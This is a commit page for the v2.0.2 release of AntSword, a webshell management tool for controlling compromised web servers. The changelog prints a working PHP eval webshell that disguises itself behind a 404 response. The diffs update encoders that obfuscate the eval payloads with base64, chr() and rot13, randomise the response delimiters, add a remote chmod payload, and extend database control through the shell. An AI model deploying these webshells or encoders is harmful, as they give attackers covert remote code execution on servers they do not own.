Unverified Commit a94c3c48 authored by Medicean's avatar Medicean Committed by GitHub

Release v2.0.2

Merge pull request #104 from AntSwordProject/v2.0.x
parents 4a6d93ee 71894bf5
......@@ -2,6 +2,50 @@
> 有空会补补BUG、添添新功能。
> 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT.
## 2018/12/05 `(v2.0.2)`
### 模块增强
#### Shell 管理
* 可在 Shell 编辑数据窗口下的`其它设置`栏目下自定义上传文件分片大小 (默认为 500KB, 太大会导致 HTTP 413 错误)
#### 文件管理
* PHP Shell 下可直接修改文件权限, 显示为4位 8进制数, 如 `0644`
#### 数据管理
* 优化了查询结果显示,默认所有列宽为 100
* 可将查询结果导出为 CSV 文件
* PHP Shell MySQL 数据库可视化增强,支持`新建数据库`,`删除数据库`,`新建表`,`修改表名`,`删除表`,`编辑列名`,`删除列`
#### 虚拟终端
* 虚拟终端界面下使用 `Ctrl` + `=`(和`+`在一起的那个键) 可放大, `Ctrl` + `-` 可缩小
#### 浏览网站
* 新增了地址栏, 面对需要先进入登录页面的 Shell, 可先在此处访问 login 页面,然后保存 Cookie 到 Shell 配置。 默认为 Shell 的 URL
* 调整了工具栏按钮的排列
* 关闭了默认自动打开 URL,需要手动点击「浏览」按钮
### Bug Fix
* 修正 windows 客户端下用户编码器路径解析错误的问题
### Other
* 数据分割符随机化,再也不是之前固定的 `->|``|<-`
* 支持返回状态为 404, 500, 403 等非 200 的 Shell (#103 thx @Curz0n),一个简单的例子如下:
```
<?php http_response_code(404);@eval($_POST['ant']);?>
```
* JSP Shell 基础信息调整, 现在默认的目录为 shell 编译后的 class 文件所在目录
* 关于页面新增 [Discord 在线交流地址](https://discord.gg/Uzh5nUf)
## 2018/09/12 `(v2.0.1)`
### 插件
......
# AntSword [![release](https://img.shields.io/badge/release-v2.0.0-blue.svg?style=flat-square)][url-release]
# AntSword [![release](https://img.shields.io/badge/release-v2.0.2-blue.svg?style=flat-square)][url-release]
> AntSword in your hands, no worries in your mind!
......
# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.0-blue.svg?style=flat-square)][url-release]
# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.2-blue.svg?style=flat-square)][url-release]
> 一剑在手,纵横无忧!
......
......@@ -122,7 +122,11 @@ class Request {
}, res, callback);
})
.end((err, ret) => {
let buff = ret.body;
if (!ret) {
// 请求失败 TIMEOUT
return event.sender.send('request-error-' + opts['hash'], err);
}
let buff = ret.hasOwnProperty('body') ? ret.body : new Buffer();
// 解码
let text = iconv.decode(buff, opts['encode']);
if (err && text == "") {
......
{
"name": "antsword",
"version": "2.0.1",
"version": "2.0.2",
"description": "中国蚁剑是一款跨平台的开源网站管理工具",
"main": "app.js",
"dependencies": {
......
......@@ -111,8 +111,7 @@ ChangeLog:
return ret;
}
String WwwRootPathCode(HttpServletRequest r) throws Exception {
String d = this.getClass().getResource("/").getPath();
String WwwRootPathCode(String d) throws Exception {
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
......@@ -286,7 +285,7 @@ ChangeLog:
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator;
String user = (String)System.getProperty("user.name");
String driverlist = WwwRootPathCode(r);
String driverlist = WwwRootPathCode(d);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
......
......@@ -103,8 +103,7 @@ Ver:1.3
return ret;
}
String WwwRootPathCode(HttpServletRequest r) throws Exception {
String d = this.getClass().getResource("/").getPath();
String WwwRootPathCode(String d) throws Exception {
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
......@@ -278,7 +277,7 @@ Ver:1.3
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator;
String user = (String)System.getProperty("user.name");
String driverlist = WwwRootPathCode(r);
String driverlist = WwwRootPathCode(d);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
......
......@@ -44,8 +44,8 @@ class ASP extends Base {
*/
complete(data) {
// 分隔符号
let tag_s = '->|';
let tag_e = '|<-';
let tag_s = Math.random().toString(16).substr(2, 5); // '->|';
let tag_e = Math.random().toString(16).substr(2, 5); // '|<-';
// let formatter = new this.format(this.__opts__['encode']);
let formatter = Base.prototype.format(this.__opts__['encode']);
......
......@@ -47,8 +47,8 @@ class ASPX extends Base {
*/
complete(data) {
// 分隔符号
let tag_s = '->|';
let tag_e = '|<-';
let tag_s = Math.random().toString(16).substr(2, 5); // '->|';
let tag_e = Math.random().toString(16).substr(2, 5); // '|<-';
// let formatter = new this.format(this.__opts__['encode']);
let formatter = Base.prototype.format(this.__opts__['encode']);
......
......@@ -38,7 +38,7 @@ module.exports = () => ({
upload_file: {
_: 'U',
'z1': '#{path}',
'z2': '#{hex::content}'
'z2': '#{buffer::content}'
},
rename: {
......
......@@ -9,7 +9,7 @@ module.exports = (pwd, data) => {
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
delete data['_'];
return data;
}
......@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
ret.push(php[i].charCodeAt());
i ++;
}
return `eVAl(cHr(${ret.join(').ChR(')}));`;
return `@eVAl(cHr(${ret.join(').ChR(')}));`;
}
// 编码并去除多余数据
......
......@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
ret.push(php[i].charCodeAt().toString(16));
i ++;
}
return `eVAl(cHr(0x${ret.join(').ChR(0x')}));`;
return `@eVAl(cHr(0x${ret.join(').ChR(0x')}));`;
}
// 编码并去除多余数据
......
......@@ -19,7 +19,7 @@ module.exports = (pwd, data) => {
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = encode(data['_']);
data[pwd] = `eval(str_rot13($_POST[${randomID}]));`;
data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`;
delete data['_'];
return data;
}
......@@ -45,8 +45,9 @@ class PHP extends Base {
*/
complete(data) {
// 分隔符号
let tag_s = "->|";
let tag_e = "|<-";
let tag_s = Math.random().toString(16).substr(2, 5); // "->|";
let tag_e = Math.random().toString(16).substr(2, 5); // "|<-";
// 组合完整的代码
let tmpCode = data['_'];
......
......@@ -62,6 +62,13 @@ module.exports = (arg1, arg2, arg3) => ({
[arg2]: "#{base64::time}"
},
chmod: {
_:
`$m=get_magic_quotes_gpc();$FN=base64_decode(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$mode=base64_decode(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]);echo(chmod($FN,octdec($mode))?"1":"0");`,
[arg1]: "#{base64::path}",
[arg2]: "#{base64::mode}"
},
mkdir: {
_:
`$m=get_magic_quotes_gpc();$f=base64_decode($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);echo(mkdir($f)?"1":"0");`,
......
......@@ -170,6 +170,7 @@ module.exports = {
nohttps: 'Ignore HTTPS certificate',
terminalCache: "Use the terminal's cache",
filemanagerCache: "Use the filemanager's cache",
uploadFragment: "Upload File Fragmentation Size",
requestTimeout: 'Request timeout',
commandPath: 'Custom terminal-execPath'
}
......@@ -219,6 +220,12 @@ module.exports = {
success: (path) => antSword.noxss(`Retime file success!\n${path}`),
error: (path, err) => antSword.noxss(`Retime file [${path}] failed!${err ? '\n' + err : ''}`)
},
chmod: {
title: 'Chmod File',
check: 'Input should be octal numbers, eg: 0644',
success: (path) => antSword.noxss(`Chmod file success!\n${path}`),
error: (path, err) => antSword.noxss(`Chmod file [${path}] failed!${err ? '\n' + err : ''}`)
},
wget: {
title: 'Wget File',
check: 'URL is not correct!',
......@@ -234,6 +241,9 @@ module.exports = {
task: {
name: 'Upload',
success: 'Upload success!',
httperr_413: 'Please lower the upload file shard size setting.',
httperr_etime: 'Request timeout, please increase the timeout period.',
httperr_econnrefused: 'Connection refused, check target or proxy is enabled.',
failed: (err) => antSword.noxss(`Failed:${err}`),
error: (err) => antSword.noxss(`Error:${err}`)
},
......@@ -303,6 +313,7 @@ module.exports = {
upload: 'Upload',
download: 'Download',
modify: 'Modify the file time',
chmod: 'Chmod',
copy: {
title: 'Copy',
warning: (id) => antSword.noxss(`Already add to clipboard!\n${id}`),
......@@ -362,7 +373,18 @@ module.exports = {
menu: {
add: 'Add conf',
del: 'Del conf',
edit: 'Edit conf'
edit: 'Edit conf',
adddb: 'New Database',
editdb: 'Edit Database',
deldb: 'Del Database',
addtable: 'New Table',
edittable: 'Edit TableName',
desctable: 'Desc Table',
showcreatetable: 'Create Table SQL',
deltable: 'Del Table',
addcolumn: 'New Column',
editcolumn: 'Edit ColumnName',
delcolumn: 'Del Column',
}
},
query: {
......@@ -380,8 +402,13 @@ module.exports = {
query: (err) => antSword.noxss(`Failure to execute SQL!\n${err}`),
parse: 'Return data format is incorrect!',
noresult: 'No query results!'
},
dump: {
title: "Export Data",
success: "Export success",
}
},
notsupport: 'Not support the current database type',
form: {
title: 'Add conf',
toolbar: {
......@@ -402,6 +429,74 @@ module.exports = {
confirm: 'Determine delete this configuration?',
success: 'Delete configuration success!',
error: (err) => antSword.noxss(`Delete configuration failed!\n${err}`)
},
adddb: {
title: 'New Database',
dbname: 'Name',
characterset: 'Character Set',
charactercollation: 'Collation',
createbtn: 'OK',
cancelbtn: 'Cancel',
success: 'Create database successfully',
error: 'Failed to create database',
},
editdb: {
title: 'Database Properties',
dbname: 'Name(readonly)',
characterset: 'Character Set',
charactercollation: 'Collation',
updatebtn: 'OK',
cancelbtn: 'Cancel',
success: 'Edit database successfully',
error: 'Failed to edit database',
},
deldb: {
title: 'Delete Database',
confirm: (name) => antSword.noxss(`Are you sure you want to delete database ${name} ?`),
success: 'Delete database successfully',
error: 'Failed to delete database',
},
addtable: {
title: 'New Table',
add: 'New Column',
delete: 'Delete Column',
save: 'Save',
gridheader: "Name,Type,Length,Not Null,Key,Auto Increment",
delete_not_select: "Please select the row you want to delete first",
save_row_is_null: "The number of rows is empty",
cell_valid_error: (i,j)=>`Data format validation failed(row ${i+1}, col ${j+1})`,
confirmtitle: "New table name",
invalid_tablename: "Table names should not contain special symbols",
success: 'Create table successfully',
error: 'Failed to create table',
},
edittable: {
title: "New table name",
invalid_tablename: "Table names should not contain special symbols",
success: 'Update table name successfully',
error: 'Failed to update table',
},
deltable: {
title:'Delete Table',
confirm: (name) => antSword.noxss(`Are you sure you want to delete table ${name}?`),
success: 'Delete table successfully',
error: 'Failed to delete table',
},
addcolumn: {
},
editcolumn: {
title: "New column name",
invalid_tablename: "Column names should not contain special symbols",
get_column_type_error: "Get column type error",
success: 'Update column name successfully',
error: 'Failed to update column',
},
delcolumn: {
title:'Delete Column',
confirm: (name) => antSword.noxss(`Are you sure you want to delete column ${name}?`),
success: 'Delete column successfully',
error: 'Failed to delete column',
}
}
},
......@@ -411,7 +506,8 @@ module.exports = {
header: 'AntSword',
homepage: 'Home',
document: 'Document',
qqgroup: 'QQ Group'
qqgroup: 'QQ Group',
discord: 'Discord'
},
language: {
title: 'Language setting',
......
......@@ -171,6 +171,7 @@ module.exports = {
nohttps: '忽略HTTPS证书',
terminalCache: '虚拟终端使用缓存',
filemanagerCache: '文件管理使用缓存',
uploadFragment: '上传文件分片大小',
requestTimeout: '请求超时',
commandPath: '自定义终端执行路径'
}
......@@ -220,6 +221,12 @@ module.exports = {
success: (path) => antSword.noxss(`更改文件时间成功!\n${path}`),
error: (path, err) => antSword.noxss(`更改文件时间 [${path}] 失败!${err ? '\n' + err : ''}`)
},
chmod: {
title: '更改权限',
check: "输入应为八进制数表示的权限, eg: 0644",
success: (path) => antSword.noxss(`更改文件权限成功!\n${path}`),
error: (path, err) => antSword.noxss(`更改文件权限 [${path}] 失败!${err ? '\n' + err : ''}`)
},
wget: {
title: 'Wget下载文件',
check: 'URL地址不正确!',
......@@ -235,6 +242,9 @@ module.exports = {
task: {
name: '上传',
success: '上传成功',
httperr_413: '请将上传文件分片大小设置调低',
httperr_etime: '请求超时,请将超时时间调大',
httperr_econnrefused: '连接被拒绝,检查目标或代理是否开启',
failed: (err) => antSword.noxss(`失败:${err}`),
error: (err) => antSword.noxss(`出错:${err}`)
},
......@@ -304,6 +314,7 @@ module.exports = {
upload: '上传文件',
download: '下载文件',
modify: '更改文件时间',
chmod: '更改权限',
copy: {
title: '复制文件',
warning: (id) => antSword.noxss(`已经添加到剪贴板!\n${id}`),
......@@ -363,7 +374,18 @@ module.exports = {
menu: {
add: '添加配置',
del: '删除配置',
edit: '编辑配置'
edit: '编辑配置',
adddb: '新建数据库',
editdb: '编辑数据库',
deldb: '删除数据库',
addtable: '新建表',
edittable: '编辑表名',
deltable: '删除表',
showcreatetable: '建表语句',
desctable: '查看表结构',
addcolumn: '添加列',
editcolumn: '编辑列名',
delcolumn: '删除列',
}
},
query: {
......@@ -381,8 +403,13 @@ module.exports = {
query: (err) => antSword.noxss(`执行SQL失败!\n${err}`),
parse: '返回数据格式不正确!',
noresult: '没有查询结果!'
},
dump: {
title: "导出查询结果",
success: "导出成功",
}
},
notsupport: '该功能暂不支持当前类型数据库',
form: {
title: '添加配置',
toolbar: {
......@@ -403,6 +430,74 @@ module.exports = {
confirm: '确定删除此配置吗?',
success: '删除配置成功!',
error: (err) => antSword.noxss(`删除配置失败!\n${err}`)
},
adddb: {
title: '新建数据库',
dbname: '名称',
characterset: '字符集',
charactercollation: '字符集排序',
createbtn: '创建',
cancelbtn: '取消',
success: '创建数据库成功',
error: '创建数据库失败',
},
editdb: {
title: '修改数据库',
dbname: '名称(只读)',
characterset: '字符集',
charactercollation: '字符集排序',
updatebtn: '修改',
cancelbtn: '取消',
success: '修改数据库成功',
error: '修改数据库失败',
},
deldb: {
title: '删除数据库',
confirm: (name) => antSword.noxss(`确定要删除数据库 ${name} 吗?`),
success: '删除数据库成功',
error: '删除数据库失败',
},
addtable: {
title: '新建表',
add: '新增字段',
delete: '删除字段',
save: '保存',
gridheader: "名称,类型,长度,不为空,主键,自增长",
delete_not_select: "请先选中要删除的行",
save_row_is_null: "行数为空",
cell_valid_error: (i,j)=>`数据格式校验失败(${i+1}行,${j+1}列)`,
confirmtitle: "输入新表名",
invalid_tablename: "表名不能带有特殊符号",
success: '新建表成功',
error: '新建表失败',
},
edittable: {
title: "输入新表名",
invalid_tablename: "表名不能带有特殊符号",
success: '修改表名成功',
error: '修改表名失败',
},
deltable: {
title:'删除表',
confirm: (name) => antSword.noxss(`确定要删除表 ${name} 吗?`),
success: '删除表成功',
error: '删除表失败',
},
addcolumn: {
},
editcolumn: {
title: "输入新列名",
invalid_tablename: "列名不能带有特殊符号",
get_column_type_error: "获取列属性失败",
success: '修改列名成功',
error: '修改列名失败'
},
delcolumn: {
title:'删除列',
confirm: (name) => antSword.noxss(`确定要删除列 ${name} 吗?`),
success: '删除列成功',
error: '删除列失败',
}
}
},
......@@ -412,7 +507,8 @@ module.exports = {
header: '中国蚁剑',
homepage: '主页',
document: '文档',
qqgroup: 'Q群'
qqgroup: 'Q群',
discord: '在线交流'
},
language: {
title: '语言设置',
......
......@@ -525,8 +525,10 @@ class ASP {
const grid = this.manager.result.layout.attachGrid();
grid.clearAll();
grid.setHeader(header_arr.join(',').replace(/,$/, ''));
grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/,''));
grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, ''));
grid.setInitWidths('*');
grid.setColumnMinWidth(100, header_arr.length-1);
grid.setInitWidths(("100,".repeat(header_arr.length-1)) + "*");
grid.setEditable(true);
grid.init();
// 添加数据
......@@ -541,13 +543,32 @@ class ASP {
'rows': grid_data
}, 'json');
// 启用导出按钮
// this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
}
// 导出查询数据
dumpResult() {
const grid = this.manager.result.layout.getAttachedObject();
let filename = `${this.core.__opts__.ip}_${new Date().format("yyyyMMddhhmmss")}.csv`;
antSword['test'] = this;
dialog.showSaveDialog({
title: LANG['result']['dump']['title'],
defaultPath: filename
},(filePath) => {
if (!filePath) { return; };
let headerStr = grid.hdrLabels.join(',');
let dataStr = grid.serializeToCSV();
let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr);
fs.writeFileSync(filePath, tempDataBuffer);
toastr.success(LANG['result']['dump']['success'], LANG_T['success']);
});
}
// 禁用toolbar按钮
disableToolbar() {
this.manager.list.toolbar.disableItem('del');
this.manager.list.toolbar.disableItem('edit');
this.manager.result.toolbar.disableItem('dump');
}
// 启用toolbar按钮
......
......@@ -525,8 +525,10 @@ class CUSTOM {
const grid = this.manager.result.layout.attachGrid();
grid.clearAll();
grid.setHeader(header_arr.join(',').replace(/,$/, ''));
grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/,''));
grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, ''));
grid.setInitWidths('*');
grid.setColumnMinWidth(100, header_arr.length-1);
grid.setInitWidths(("100,".repeat(header_arr.length-1)) + "*");
grid.setEditable(true);
grid.init();
// 添加数据
......@@ -541,13 +543,32 @@ class CUSTOM {
'rows': grid_data
}, 'json');
// 启用导出按钮
// this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
}
// 导出查询数据
dumpResult() {
const grid = this.manager.result.layout.getAttachedObject();
let filename = `${this.core.__opts__.ip}_${new Date().format("yyyyMMddhhmmss")}.csv`;
antSword['test'] = this;
dialog.showSaveDialog({
title: LANG['result']['dump']['title'],
defaultPath: filename
},(filePath) => {
if (!filePath) { return; };
let headerStr = grid.hdrLabels.join(',');
let dataStr = grid.serializeToCSV();
let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr);
fs.writeFileSync(filePath, tempDataBuffer);
toastr.success(LANG['result']['dump']['success'], LANG_T['success']);
});
}
// 禁用toolbar按钮
disableToolbar() {
this.manager.list.toolbar.disableItem('del');
this.manager.list.toolbar.disableItem('edit');
this.manager.result.toolbar.disableItem('dump');
}
// 启用toolbar按钮
......
//
// 数据库管理模块
//
// TODO: 数据管理模块目前的代码存在大量冗余,后期会考虑将 数据库驱动 与 core 分成两个块来做
// import React from 'react';
// import ReactDOM from 'react-dom';
// import AceEditor from 'react-ace';
......@@ -158,14 +158,21 @@ class Database {
layout.setText(`<i class="fa fa-inbox"></i> ${LANG['result']['title']}`);
// layout.hideHeader();
// const toolbar = layout.attachToolbar();
// toolbar.loadStruct([
// { id: 'dump', text: '导出', icon: 'upload', type: 'button', disabled: true },
// { type: 'separator' }
// ]);
const toolbar = layout.attachToolbar();
toolbar.loadStruct([
{ id: 'dump', text: '导出', icon: 'upload', type: 'button', disabled: true },
{ type: 'separator' }
]);
toolbar.attachEvent('onClick', (id) => {
switch(id) {
case 'dump':
this.drive.dumpResult();
break;
}
});
return {
layout: layout,
// toolbar: toolbar
toolbar: toolbar
};
}
......
This diff is collapsed.
......@@ -323,6 +323,9 @@ class Files {
// manager.retimeFile(id, this.rowsAr[id]['cells'][2].innerText);
manager.retimeFile(id, this.getRowAttribute(_ids[0], 'data')[2]);
} },
{ text: LANG['grid']['contextmenu']['chmod'], icon: 'fa fa-users', disabled: !id || ids.length > 1, action: () => {
manager.chmodFile(id, this.getRowAttribute(_ids[0], 'data')[4]);
} },
{ divider: true },
{ text: LANG['grid']['contextmenu']['create']['title'], icon: 'fa fa-plus-circle', subMenu: [
{ text: LANG['grid']['contextmenu']['create']['folder'], icon: 'fa fa-folder-o', action: manager.createFolder.bind(manager) },
......
......@@ -473,6 +473,43 @@ class FileManager {
})
}
// 设置文件和目录权限
chmodFile(name, oldmod) {
layer.prompt({
value: oldmod,
title: `<i class="fa fa-users"></i> ${LANG['chmod']['title']} (${antSword.noxss(name)})`,
}, (value, i, e) => {
if(!value.match(/^[0-7]{4}$/)){
toastr.error(LANG['chmod']['check'], LANG_T['error']);
return
}
this.files.cell.progressOn();
let path = this.path;
if (this.isWin) {
path = path.replace(/\//g, '\\')
}
// http request
this.core.request(
this.core.filemanager.chmod({
path: path + name,
mode: value
})
).then((res) => {
let ret = res['text'];
this.files.cell.progressOff();
if (ret === '1') {
this.files.refreshPath();
toastr.success(LANG['chmod']['success'](name), LANG_T['success']);
}else{
toastr.error(LANG['chmod']['error'](name, ret === '0' ? false : ret), LANG_T['error']);
}
}).catch((err) => {
toastr.error(LANG['chmod']['error'](name, err), LANG_T['error']);
});
layer.close(i);
});
}
// 预览文件(图片、视频)
previewFile(name, size) {
let that = this;
......@@ -490,7 +527,7 @@ class FileManager {
let down_size = 0;
this.core.download(
savepath
,this.core.filemanager.read_file({path: remote_path})
,this.core.filemanager.download_file({path: remote_path})
, (_size) => {
down_size += _size;
let down_progress = parseInt(parseFloat(down_size / size).toFixed(2) * 100);
......@@ -659,9 +696,9 @@ class FileManager {
let buffIndex = 0;
let buff = [];
// 分段上传大小,默认0.5M(jsp 超过1M响应会出错)
let dataSplit = 512 * 1024;
if (this.opts['type'].toLowerCase() === 'php') {
dataSplit = 1024 * 1024
let dataSplit = 500 * 1024;
if ( parseInt((this.opts.otherConf || {})['upload-fragment']) > 0 ) {
dataSplit = parseInt((this.opts.otherConf || {})['upload-fragment']) * 1024;
}
let task = tasks[filePath];
// 获取文件名
......@@ -714,8 +751,32 @@ class FileManager {
ret === '0' ? '' : `<br/>${ret}`
), LANG_T['error']);
}).catch((err) => {
task.failed(LANG['upload']['task']['error'](err));
toastr.error(LANG['upload']['error'](fileName, err), LANG_T['error']);
// 出错后友好提示
let errmsg = err;
if (err.hasOwnProperty('status') && err.hasOwnProperty('response')) {
errmsg = `${err.status} ${err.response.res.statusMessage}`;
switch(err.status) {
case 413:
errmsg += `${LANG['upload']['task']['httperr_413']}`;
break;
default:
break;
}
}else if(err.hasOwnProperty('errno')) {
switch(err.errno) {
case 'ETIME':
errmsg = `${LANG['upload']['task']['httperr_etime']}`;
break;
case 'ECONNREFUSED':
errmsg = `${LANG['upload']['task']['httperr_econnrefused']}`;
break;
default:
errmsg = `${err.errno} ${err.code}`;
break;
}
}
task.failed(LANG['upload']['task']['error'](errmsg));
toastr.error(LANG['upload']['error'](fileName, errmsg), LANG_T['error']);
});
})
}
......
......@@ -20,7 +20,8 @@ class About {
<h2>${LANG['header']}<span> v${antSword['package']['version']}</span></h2>
<p>
<a href="https://github.com/AntSwordProject/AntSword"><i class="fa fa-github-alt"></i> GitHub</a> /
<a href="http://doc.u0u.us"><i class="fa fa-book"></i> ${LANG['document']}</a>
<a href="http://doc.u0u.us"><i class="fa fa-book"></i> ${LANG['document']}</a> /
<a href="https://discord.gg/Uzh5nUf"><i class="fa fa-comments"></i> ${LANG['discord']}</a>
</p>
</div>
`);
......
......@@ -278,6 +278,7 @@ class Form {
'ignore-https': 0,
'terminal-cache': 0,
'filemanager-cache': 1,
'upload-fragment': '500',
'request-timeout': '10000',
'command-path': ''
}, arg.otherConf);
......@@ -294,7 +295,28 @@ class Form {
}, {
type: "checkbox", name: 'filemanager-cache', label: LANG['list']['otherConf']['filemanagerCache'],
checked: opt['filemanager-cache'] === 1
},{
}, {
type: "label", label: LANG['list']['otherConf']['uploadFragment']
}, {
type: "combo", label: '/kb', inputWidth: 100, name: "upload-fragment",
options: ((items) => {
let ret = [];
// 如果自定义的路径不在items里,则++
if (items.indexOf(opt['upload-fragment']) === -1) {
items.unshift(opt['upload-fragment']);
}
items.map((_) => {
ret.push({
text: _,
value: _,
selected: opt['upload-fragment'] === _
})
});
return ret;
})([
'500', '400', '200', '100', '50', '10'
])
}, {
type: "label", label: LANG['list']['otherConf']['requestTimeout']
}, {
type: "combo", label: '/ms', inputWidth: 100, name: "request-timeout",
......@@ -308,7 +330,7 @@ class Form {
ret.push({
text: _,
value: _,
selected: opt['command-path'] === _
selected: opt['request-timeout'] === _
})
});
return ret;
......
......@@ -41,7 +41,7 @@ class ViewSite {
}, 1000);
// 打开浏览窗口
this._loadURL(opts.url);
// this._loadURL(opts.url);
}
/**
......@@ -51,9 +51,10 @@ class ViewSite {
_initToolbar() {
const toolbar = this.cell.attachToolbar();
toolbar.loadStruct([
{ id: 'save', type: 'button', icon: 'save', text: LANG['toolbar'].save },
{ type: 'separator' },
{ id: 'url', width: 400, type: 'buttonInput', value: this.opts.url || 'loading..' },
{ id: 'view', type: 'button', icon: 'chrome', text: LANG['toolbar'].view },
{ type: 'separator' },
{ id: 'save', type: 'button', icon: 'save', text: LANG['toolbar'].save },
]);
toolbar.attachEvent('onClick', (id) => {
switch(id) {
......@@ -61,9 +62,18 @@ class ViewSite {
this._saveCookie();
break;
case 'view':
this._loadURL(this.opts.url);
let url = toolbar.getInput('url').value;
this._loadURL(url);
}
})
});
toolbar.attachEvent('onEnter', (id, value) => {
switch(id) {
case 'url':
let url = toolbar.getInput('url').value;
this._loadURL(url);
break;
}
});
return toolbar;
}
......@@ -159,7 +169,7 @@ class ViewSite {
webPreferences: {
nodeIntegration: false,
},
title: this.opts.url
title: url
});
win.loadURL(url);
win.show();
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment